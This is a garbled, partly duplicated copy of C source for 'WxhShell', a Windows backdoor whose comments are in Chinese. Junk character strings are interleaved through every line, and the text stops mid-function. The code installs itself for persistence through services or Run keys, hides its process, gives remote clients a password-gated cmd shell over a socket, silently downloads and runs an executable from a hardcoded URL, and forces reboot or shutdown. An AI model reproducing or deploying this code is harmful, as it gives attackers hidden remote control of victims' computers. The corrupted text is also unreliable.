1PWi~1q{Q 3AP= g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Yc)Dx3 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &{wRB l # NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ln+ .$ C S+eu3nMq if (!NtQueryInformationProcess) return 0; %0vsm+XQ0E I:al[V2g hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .bV^u if(!hProcess) return 0; pFu!$.Fr JAMV@ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; wr:-n r-WX("Vvh CloseHandle(hProcess); 8In~qf I3Z\]BI hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N`X|z if(hProcess==NULL) return 0; |_s,]: k $ SMQ6 HMODULE hMod; v3n
T@ra' char procName[255]; KL(sVj^e unsigned long cbNeeded; >x~Qa@s; A'u]z\&%c if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -m=!SQ >9 aAd1[?& CloseHandle(hProcess); m>w{vqPwJ Gf~^Xv!T if(strstr(procName,"services")) return 1; // 以服务启动 o?= &kx =kOo( return 0; // 注册表启动 Z;R/!Py. } |XQ\c.A `4Z:qh+fJ // 主模块 NVom6K int StartWxhshell(LPSTR lpCmdLine) QR-pji
y { ?vik2RW SOCKET wsl; Lcy6G%A BOOL val=TRUE; AEFd,;GF int port=0; eAQ-r\h'2 struct sockaddr_in door; Z)3oiLmD |hDN$By if(wscfg.ws_autoins) Install(); 0x&L'&SpN ]gA2.,)}D port=atoi(lpCmdLine); 3RlNEc%) lF7". if(port<=0) port=wscfg.ws_port; NUh%\{ '['x'G50 WSADATA data; g>b{hkIXg if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Az?^4 1r8 VS~+W=5} if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ~Kt+j setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4]
u\5K- door.sin_family = AF_INET; jQfnc:' door.sin_addr.s_addr = inet_addr("127.0.0.1"); NSzTl-eS door.sin_port = htons(port); ]R09-s 0$7 3:OqD~,zy if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ET*:iioP closesocket(wsl); GJ?J6@| return 1; ~e]l } (2 hI N
/;Vg^Wx if(listen(wsl,2) == INVALID_SOCKET) { ~xJr|_,gp closesocket(wsl); j(pe6 return 1; mgq4g } tC=K;zsXpz Wxhshell(wsl); d7Cs a
c WSACleanup(); c[vFh0s"m BryD?/}P)M return 0; J'&K 4^ 0CHy } !,J]5$M !"F8jA} // 以NT服务方式启动 urL@SeV+$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Cf
v1nUW { :[C|3KKe" DWORD status = 0; &-vHb DWORD specificError = 0xfffffff; }4,[oD zSOZr2-
^a serviceStatus.dwServiceType = SERVICE_WIN32; SapVS*yx@ serviceStatus.dwCurrentState = SERVICE_START_PENDING; Cs vwc% serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X7?14W serviceStatus.dwWin32ExitCode = 0; -2C^M> HZ serviceStatus.dwServiceSpecificExitCode = 0; r"VNq&v]9 serviceStatus.dwCheckPoint = 0; f$?`50D"1 serviceStatus.dwWaitHint = 0; 9zLeyw\ pG v*{. hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |$GPJaNqa if (hServiceStatusHandle==0) return; Hr}\-$ GJF
,w{J status = GetLastError(); Pvm pWa if (status!=NO_ERROR) dD
6jMl { P|;v > serviceStatus.dwCurrentState = SERVICE_STOPPED; *iSE)[W serviceStatus.dwCheckPoint = 0; $>wN:uN( serviceStatus.dwWaitHint = 0; +
:b"0pu-H serviceStatus.dwWin32ExitCode = status; '+GYw$ serviceStatus.dwServiceSpecificExitCode = specificError; #~r+Z[(,p SetServiceStatus(hServiceStatusHandle, &serviceStatus); W=n
Hi\jLV return; @cG+D } *oh,Va dL1{i,M serviceStatus.dwCurrentState = SERVICE_RUNNING; L5wFbc"u serviceStatus.dwCheckPoint = 0; \~C/ serviceStatus.dwWaitHint = 0; !<h-2YF<M if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); XWB#7;,R } !xU\s'I+# #=F{G4d)!= // 处理NT服务事件,比如:启动、停止 8SupoS VOID WINAPI NTServiceHandler(DWORD fdwControl) uy|]@|J { (3j f_ switch(fdwControl) BY$L[U;@T { I5Rd~-="G case SERVICE_CONTROL_STOP: )~w
bu2; serviceStatus.dwWin32ExitCode = 0; )L"J?wTe serviceStatus.dwCurrentState = SERVICE_STOPPED; qE6D"+1y7 serviceStatus.dwCheckPoint = 0; Z|3[Y@c\ serviceStatus.dwWaitHint = 0; {JfL7% { zUWWXC%R SetServiceStatus(hServiceStatusHandle, &serviceStatus); YTfi g{a } JUq7R%"h6 return; ndvt
$* case SERVICE_CONTROL_PAUSE: AFsYP/g] serviceStatus.dwCurrentState = SERVICE_PAUSED; MJn= break; NMN&mJsmh case SERVICE_CONTROL_CONTINUE: 2Fbg"de3- serviceStatus.dwCurrentState = SERVICE_RUNNING; ~KxK+6[ : break; 0p*Oxsy case SERVICE_CONTROL_INTERROGATE: w)>/fG|; break; $WQm"WAKe }; HoZsDs.XZ SetServiceStatus(hServiceStatusHandle, &serviceStatus); x*:"G'zT } 3_J({ <.lt?!.ZH // 标准应用程序主函数 :4Y5 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R{9G$b1Due { ?:7$c rFW,x_*_vP // 获取操作系统版本 Ma ]*Pled OsIsNt=GetOsVer(); YgQb(umK GetModuleFileName(NULL,ExeFile,MAX_PATH); y@ c[S; {@ tO9pc`8 // 从命令行安装 t+Qx-sW if(strpbrk(lpCmdLine,"iI")) Install(); qt.= J(,{ -d-E // 下载执行文件 d(, M if(wscfg.ws_downexe) { Z3 dI
B`@ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H_u%e*W WinExec(wscfg.ws_filenam,SW_HIDE); YizwKcuZ } T7(U6yN jGDuKb@: if(!OsIsNt) { PJ)d5D%T // 如果时win9x,隐藏进程并且设置为注册表启动 %^iBTfq2hc HideProc(); MX|@x~9W StartWxhshell(lpCmdLine); _u#r;h[ } 5^N`~ else WG&WPV/p if(StartFromService()) u)Vn7zh // 以服务方式启动 X/D%
cQ6 StartServiceCtrlDispatcher(DispatchTable); NLev(B:OQH else t2FA|UF // 普通方式启动 R]d934s StartWxhshell(lpCmdLine); H<l0]-S{ <07~EP return 0; fTi5Ej*/?) } }x"8v&3CM_ tG0
&0` S6{y%K2y& )kE1g& =========================================== Bdib)t[ ~[0^{$rrWs f3mQd}<L 8~iggwZ~h" rxeOT# N} uAV-wc " D!V*H?;U @:P:`Zk #include <stdio.h> |_16IEJ #include <string.h> dF+:9iiAm #include <windows.h> "iuNYM5P #include <winsock2.h> HQc^ybX5 #include <winsvc.h> `OWwqLoeA #include <urlmon.h> )yS S 2 L#MMNc+ #pragma comment (lib, "Ws2_32.lib") I5W#8g!{ #pragma comment (lib, "urlmon.lib") i(S}gH4*o |1m2h]];Q #define MAX_USER 100 // 最大客户端连接数 \*30E<;C_
#define BUF_SOCK 200 // sock buffer xp]_>WGq #define KEY_BUFF 255 // 输入 buffer B~u`bn,iQ o^x,JT #define REBOOT 0 // 重启 "X-"uIc #define SHUTDOWN 1 // 关机 2nI^fVR%\ uh3<%9#\k #define DEF_PORT 5000 // 监听端口 H `_{n< 5Qxm\?0J #define REG_LEN 16 // 注册表键长度 VW**N}1#C #define SVC_LEN 80 // NT服务名长度 -'j|U[&N\ *,Sa*-7( // 从dll定义API `m-7L typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E~`<n]{G-C typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?b?YiK&yz typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); AN+S6t typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o_.`&Q6n vk3C&!M<a // wxhshell配置信息 Bv^5L>JZ/ struct WSCFG { .QDeS|l int ws_port; // 监听端口 P5Pb2|\* char ws_passstr[REG_LEN]; // 口令
R7Z! int ws_autoins; // 安装标记, 1=yes 0=no piAFxS<6 char ws_regname[REG_LEN]; // 注册表键名 'CvV Ktk char ws_svcname[REG_LEN]; // 服务名 =la~D]T*g char ws_svcdisp[SVC_LEN]; // 服务显示名 fh9w5hT={ char ws_svcdesc[SVC_LEN]; // 服务描述信息 dz)(~@tgz char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4R9y~~+ int ws_downexe; // 下载执行标记, 1=yes 0=no =m?x5G^ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Vd A!tL char ws_filenam[SVC_LEN]; // 下载后保存的文件名 CD)JCv {br6* }; y2>AbrJ le~p2l#e // default Wxhshell configuration 17!<8vIV$C struct WSCFG wscfg={DEF_PORT, ")3$. '5Dg "xuhuanlingzhe", l
!JTM 1, ;Lk07+3G "Wxhshell", ~lr,}K, "Wxhshell", n fMU4(: "WxhShell Service", mfr7w+DK "Wrsky Windows CmdShell Service", ]=(PtzVa "Please Input Your Password: ", .\"8H1I\T 1, ?PU7xO;_ "http://www.wrsky.com/wxhshell.exe", .-cx9& "Wxhshell.exe" e0`5PVJ }; Vv*](iM Gg5+Ap D // 消息定义模块 > |(L3UA9 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'E4}++\ char *msg_ws_prompt="\n\r? for help\n\r#>"; Eu$hC]w char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; q4Y7 HE|ym char *msg_ws_ext="\n\rExit."; bA/'IF+ char *msg_ws_end="\n\rQuit."; Z4D[nPm$ char *msg_ws_boot="\n\rReboot..."; X=%e'P*X char *msg_ws_poff="\n\rShutdown..."; t+A9nvj) char *msg_ws_down="\n\rSave to "; 4&G
#Bi *m[[>wE char *msg_ws_err="\n\rErr!"; [(Ihu e char *msg_ws_ok="\n\rOK!"; H~lvUHN ZO]P9b char ExeFile[MAX_PATH]; 8]xYE19= int nUser = 0; S.*LsrSV HANDLE handles[MAX_USER]; _''9-t;n, int OsIsNt; nYy+5u]FG 8l
>Xbz SERVICE_STATUS serviceStatus; 0uJ??4N9 SERVICE_STATUS_HANDLE hServiceStatusHandle; :} D TK
T}Ve:S // 函数声明 Up\ k67 int Install(void); +*x9$LSD int Uninstall(void); m[Cp
G=32B int DownloadFile(char *sURL, SOCKET wsh); #2?3B int Boot(int flag); @
[%K D void HideProc(void); jh/aK_Q,w int GetOsVer(void); .:B;%* int Wxhshell(SOCKET wsl); :rEZR ` void TalkWithClient(void *cs); #E4|@}30` int CmdShell(SOCKET sock); PgYIQpV int StartFromService(void); &|fWtl;43 int StartWxhshell(LPSTR lpCmdLine); c2fw;)j&X oe[f2?- VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :O]US)VSj VOID WINAPI NTServiceHandler( DWORD fdwControl ); aJ
J63aJ q)OCY}QA // 数据结构和表定义 }[SYWJIc SERVICE_TABLE_ENTRY DispatchTable[] =
O<y65#68Z { SL?YU(a {wscfg.ws_svcname, NTServiceMain}, @81N{tg- {NULL, NULL} * 5(%'3 }; TPNKvv!s ev1:0P // 自我安装 JHg
y&/ int Install(void) [rReBgV { \/R $p char svExeFile[MAX_PATH]; 0t6DD HKEY key; Te7xj8<
strcpy(svExeFile,ExeFile); =!IoL7x _a zJ> // 如果是win9x系统,修改注册表设为自启动 }N"YlGY\Yn if(!OsIsNt) { L`"V_
"Q#0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T%SK";PAU$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^n*:zmD RegCloseKey(key); c uHF^l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^#4Ah[:XA RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Oe lf^&m RegCloseKey(key); UD ;UdehC return 0; +IG=|X } %#E$wz } gB]jLe } [I}xR(a@n else { L#\5)mO.v !HKW_m^3J // 如果是NT以上系统,安装为系统服务 lg*?w/JX+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); gpogv
- if (schSCManager!=0) c"/Hv { a7jE*%f9 SC_HANDLE schService = CreateService mEyIbMci ( =Jswd schSCManager, u=7#_ZC9L wscfg.ws_svcname, piXL6V @c wscfg.ws_svcdisp, #?'@?0<6 SERVICE_ALL_ACCESS, ;Swy5z0=ro SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , g1~wg$`S8S SERVICE_AUTO_START, ^;wz+u4^l SERVICE_ERROR_NORMAL, 1wBmDEhS svExeFile, ym'!f|9AA NULL, Wjr^: d NULL, +NVXFjPC NULL, Cm9#FA NULL, 2IXtIE NULL ywA7hm ); vPAL, if (schService!=0) hP$5>G(3 { 5 hW#BB CloseServiceHandle(schService); jOm7:+H CloseServiceHandle(schSCManager); cJzkA^T9 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |nBZ :$D strcat(svExeFile,wscfg.ws_svcname); DC0ON` if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?*'0;K13 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K?>sP%m) RegCloseKey(key); 9(lcQuE9 return 0; RV%)~S@!R } sW76RKX8 } ?0+N CloseServiceHandle(schSCManager); svtqX-Vj" } ?%$~Bb _ } yYdh+ x
d
'\^S} return 1; 0 gR_1~3 } S}qGf%
rA}mp] // 自我卸载 k+~2
vmS int Uninstall(void) (,b\"Q { p!K^Q3kO HKEY key; B_>r|^Vh `W.g1"o8W4 if(!OsIsNt) { QWE\Ud.q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2?:'p[z"] RegDeleteValue(key,wscfg.ws_regname); LuVL<W RegCloseKey(key); $@84nR{> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v>_83P` RegDeleteValue(key,wscfg.ws_regname); "^wIixOH5 RegCloseKey(key); ;7*T6~tv return 0; yw{r:fy } ~zVe?(W } l[C_vUg } TSVlZy~Xo else { *:ErZ UyQM V=8npz SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J[c`Qq:&e if (schSCManager!=0) rp|A88Q/! { 35 L\ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7MsJ*En if (schService!=0) HubK { U5p 3b; if(DeleteService(schService)!=0) { `uC^"R(m CloseServiceHandle(schService); |Qn>K CloseServiceHandle(schSCManager); @r(3 return 0; w+a5/i@ } $LiBJ~vV< CloseServiceHandle(schService); .yD5>iBh
} )a9C3-8Y' CloseServiceHandle(schSCManager); G++<r7;x } J0B*V0'zR } @U@O#+d'ZR }zqo<o return 1; 4BeHj~~ } k{U[ U1j N%%trlDXD // 从指定url下载文件 Lcf?VV} int DownloadFile(char *sURL, SOCKET wsh) U2CC#,b!( { 5&xbGEP$ HRESULT hr; ZD4aT1|Q7 char seps[]= "/"; x+b.9f4xJ char *token; + WT?p] char *file; VCwC$ts char myURL[MAX_PATH]; Yv0y8Vz@ char myFILE[MAX_PATH]; ?Ezy0>j f?>
?jf strcpy(myURL,sURL); &.qLE token=strtok(myURL,seps); umCmxmr& while(token!=NULL) \fp'=&tp~a { cp0yr:~ file=token; A4Q{(z-? token=strtok(NULL,seps); "=LeHY=9 } KtArV HZ1 nuA GetCurrentDirectory(MAX_PATH,myFILE); MhJA8|B6| strcat(myFILE, "\\"); =woP~+ strcat(myFILE, file); dI>cPqQ send(wsh,myFILE,strlen(myFILE),0); bh#6yvpMR send(wsh,"...",3,0); db&!t!#, hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \S&OAe/b if(hr==S_OK) YMVi7D~;Q$ return 0; D1@yW}
4 else |<O^M q return 1; F{rC{5@fj W|"bV 6d3 } uGHM ]"!) v=Q!ioE7 // 系统电源模块 eu":\ks int Boot(int flag) Z?V vFEt% { <PM.4B@ HANDLE hToken; z, FPhbFn TOKEN_PRIVILEGES tkp; fxmY,{{ ~z")';I| if(OsIsNt) { 3Tp8t6*nL OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <N>7.G LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @!}/$[hu1 tkp.PrivilegeCount = 1; A.h0 H]*Ma tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \v$zU AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); kUfb B#.5L if(flag==REBOOT) { H!Dj.]T if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Onou:kmf1 return 0; Q2:rWE{K! } %oquHkX%OJ else { ,~DKU*A_~ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )u4=k( return 0; 2%9L'- } U"oHPK3"TA } $yq76 else { .}T- R? if(flag==REBOOT) { #_UP}G$ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yE(<F2 return 0; f2&6NC; } 5.DmMG[T^= else { 2%J] })
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xxr'g = return 0; \RRSrPLd- } pp(?rE$S } `^
a:1^ teC/Uf5 return 1; :Nwv&+ } ` N
R,8F {47Uu%XT // win9x进程隐藏模块 +$#XV@@~ void HideProc(void) aof'shS8 { mN . S)W?W}*R\ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ecO$L<9> if ( hKernel != NULL ) :RwURv+kT { hwQ|'^(@O pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]6s/y ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :SWrx MT FreeLibrary(hKernel);
HKJ^6|' } l*huKSX} eVB43]g return; y>#kT } \I^"^'CP y7+n*|H // 获取操作系统版本 hl] y): int GetOsVer(void) e@S$[,8 { Sw$/Z)1K& OSVERSIONINFO winfo; MPn/"Fij$ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +$xw0)| GetVersionEx(&winfo); 7i'clB9! if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &4#%xg return 1; cIa`pU,6A else tF 7u- return 0; _[i.)8$7 } dw!Xt@,[g{ @ &rf?: // 客户端句柄模块 q/Ji}NGm int Wxhshell(SOCKET wsl) QMmZvz\^ { aBQ@n SOCKET wsh; qn{4AWmJ struct sockaddr_in client; zAvI f DWORD myID; E:+r.r"Y 6@3v+Vf' while(nUser<MAX_USER) jC$~m#F { z@?y(E int nSize=sizeof(client); }NRt:JC wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vILB$%I if(wsh==INVALID_SOCKET) return 1; mwN"Cu4t m7RyFnR2 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .j"heYF) if(handles[nUser]==0) ^eefR5^_w closesocket(wsh); G#@#j]8 else o4@d,uIw^ nUser++; iTs"RW } :#_k`{WG WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u,}>I%21 DMs8B&Y= return 0; 9C{Xpu } -nX{&Z3-s Pth4_]US // 关闭 socket x1STjI>i void CloseIt(SOCKET wsh) $}5M`p\&C { oHp"\Z& closesocket(wsh); /v|b]Ji nUser--; lw?C:-m ExitThread(0); %[ *+ } w (X} k>8OxpaWv? // 客户端请求句柄 _3O*"S=1 void TalkWithClient(void *cs) nD>X?yz2 { :_2:Fh.}3~ Dq9f Fe SOCKET wsh=(SOCKET)cs; hkV*UH{ char pwd[SVC_LEN]; W<[7LdAB char cmd[KEY_BUFF];
j0O1?? char chr[1]; /L2n
~/ int i,j; mo=@Zt <7B;_3/ while (nUser < MAX_USER) { /R?*i@rvf G&MO(r}B if(wscfg.ws_passstr) { Z![#Uz.z if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \$t{K //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NwQ$gDgu t //ZeroMemory(pwd,KEY_BUFF); 3UZ_1nY i=0; D&@ js!|5 while(i<SVC_LEN) { b
j<T`M! NNTrH\SU# // 设置超时 wdV)M? fd_set FdRead; 0"+QWh struct timeval TimeOut; QJ>=a./ FD_ZERO(&FdRead); cIkA ~F FD_SET(wsh,&FdRead); {!{T,_ J TimeOut.tv_sec=8; /X#OX8gb] TimeOut.tv_usec=0; I\rjw$V# int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9ao?\]&t if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6& hiW]Adm 7Wiwnv_" if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O8rd*+ pwd=chr[0]; |Xd&aQ if(chr[0]==0xd || chr[0]==0xa) { 8^^ehaxy pwd=0; P9Eh,j0_ break; 3+:NX6Ewb* } ~)X;z"y%b i++; s k~7"v{Y. } -XkjO$=!= =
1d$x: // 如果是非法用户,关闭 socket Et}%sdS if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /BF7N3 } '=Jz}F < >qGWDCKr send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 20` XklV send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $[J\sokpY je>gT`8 while(1) { @wP.Rd _n4`mL8>kH ZeroMemory(cmd,KEY_BUFF); c\tw#;\9 Ls.g\Gl3 // 自动支持客户端 telnet标准 /8hjs{(; j=0; zx"0^r} while(j<KEY_BUFF) { |BGzdBm^x: if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Yx ;j cmd[j]=chr[0]; to#2. if(chr[0]==0xa || chr[0]==0xd) { F0r5$Pl* cmd[j]=0; @e7_&EGR? break; fg1uqS1rg } hKsx7`[ j++; pH@yE Vf } _nw\ac#* +l7Bu} _? // 下载文件 -ucR@P] if(strstr(cmd,"http://")) { }:0HM8B7! send(wsh,msg_ws_down,strlen(msg_ws_down),0); Kj6+$l if(DownloadFile(cmd,wsh)) 6e}T
zc\@( send(wsh,msg_ws_err,strlen(msg_ws_err),0); v yP_qG else y %Y P send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DAEWa
Kui } U[#q"'P|l else { ~n/:a K:pG<oV|} switch(cmd[0]) { 1'B=JyR~K :n
x;~f // 帮助 SBw'z(U case '?': { _,- \; send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )S_%Ip break; )MX%DQw } %U1HvmyK // 安装 Ja@?.gW case 'i': { C|QJQ@bj0
if(Install()) :+ "JPF4X send(wsh,msg_ws_err,strlen(msg_ws_err),0); kYd=DY else rj5)b:c} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h 'is#X 6: break; FOcDBCrOe } ab 6D & // 卸载 Mq6_Q07 case 'r': { `]Vn[^?D if(Uninstall()) $,T3vX]< send(wsh,msg_ws_err,strlen(msg_ws_err),0); .3
^*_ else q#Ik3 5 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yc(lY
N break; _ `7[}M~ } Pp|pH|(n , // 显示 wxhshell 所在路径 fK=vLcH case 'p': { wp-3U}P2( char svExeFile[MAX_PATH]; 23q2u6.F` strcpy(svExeFile,"\n\r"); `7',RUj|D strcat(svExeFile,ExeFile); _'s5FlZq send(wsh,svExeFile,strlen(svExeFile),0); \z2d=E break; dBW#PRg } <5sfII // 重启 %5(v'/dQ case 'b': { G&7 } m send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =E8Kacu% if(Boot(REBOOT)) \<y#$:4r<8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); z&[[4[ else { #8bI4J{dE closesocket(wsh); GuJIN"P] ExitThread(0); .q$/#hN:e } ]6HnK% break; Q $>SYvW } ,k/<Nv; // 关机 K%vGfQ8Er- case 'd': { UAdj[m61 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /B if(Boot(SHUTDOWN)) jbTyM"Y send(wsh,msg_ws_err,strlen(msg_ws_err),0); j !`2Z@ else { zU};|Zw closesocket(wsh); V0:db ExitThread(0); VU|Cct&) } I~c}&'V break; DAd$u1 } 9,
792b // 获取shell N{zou?+ case 's': { E`uK7 2j CmdShell(wsh); /s`xPxvt closesocket(wsh); 3-2?mV>5 ExitThread(0); C6b(\#g( break; XecU& } _Hq)mF // 退出 gr$H?|n l case 'x': { )i>T\B send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); DZ|/#- k CloseIt(wsh); 3bB%@^< break; gH/k}M7tA# } )$I"LyK) // 离开 ~bJ*LM?wOP case 'q': { {pB9T3ry] send(wsh,msg_ws_end,strlen(msg_ws_end),0); v#+tu,)V; closesocket(wsh); 2VS#=i(B^ WSACleanup(); /ec~^S8X exit(1); rkWW)h(e break; I~Zm**L } .w]S!=h } 3Kum } 90)rOD1B $d7{ q3K&1 // 提示信息 S8Yh>j8- if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r.zJ/Tk } tA{<)T } Tk4"qGC. [p_C?hHO return; (*Y ENT} } ZpY"P6 rk(0w|zR+ // shell模块句柄 FKB)o7
int CmdShell(SOCKET sock) cj/FqU" { ^zaN?0%S33 STARTUPINFO si; "A9 c] ZeroMemory(&si,sizeof(si)); cb~m==G si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \>-%OcYlM si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hC= ="4 - PROCESS_INFORMATION ProcessInfo; wD&b[i char cmdline[]="cmd"; J&6]3x CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T/C1x9=? return 0; W1J7$ } V|fs"HY ouUU(jj02 // 自身启动模式 DavG=kvd int StartFromService(void) NASRr { )Hy|K1 typedef struct pc%_:> { 1{V* (=Tp DWORD ExitStatus; xTL"%'| DWORD PebBaseAddress; SLc'1{ DWORD AffinityMask; 07+Qai-] DWORD BasePriority; <kmn3w,vi ULONG UniqueProcessId; w~g)Dz2G ULONG InheritedFromUniqueProcessId; `4 A%BKYB } PROCESS_BASIC_INFORMATION; KmkPq] ),)]gw71QW PROCNTQSIP NtQueryInformationProcess; [e'Ts#($A f/qG:yTV` static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Sf\mg4, static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; oa|nQ`[ fhmqO0 HANDLE hProcess; fm\IQqIK% PROCESS_BASIC_INFORMATION pbi; pJ5Sxgv{; DFt1{qS8@u HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K(HP PM\ if(NULL == hInst ) return 0; ,tL<?6_ [?hc.COE g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o3l_&?^ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Xu:Sh<:R NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); MLcc 3l 0> if (!NtQueryInformationProcess) return 0; $9\!CPZ2 ;HJ|)PN5L hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g+k0Fw]! if(!hProcess) return 0; 3B|o T!)v9L if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `:A`%Fg8< eJ#q! < CloseHandle(hProcess); ``}EbOMG 8:,l+[\ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6nRD:CH)X if(hProcess==NULL) return 0; i9oi}$;J \qqt/ HMODULE hMod; Hay`lA2@ char procName[255]; ?t+Kp9@aZ unsigned long cbNeeded; ,m:YZ;J(Xd }CA oB::& if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) 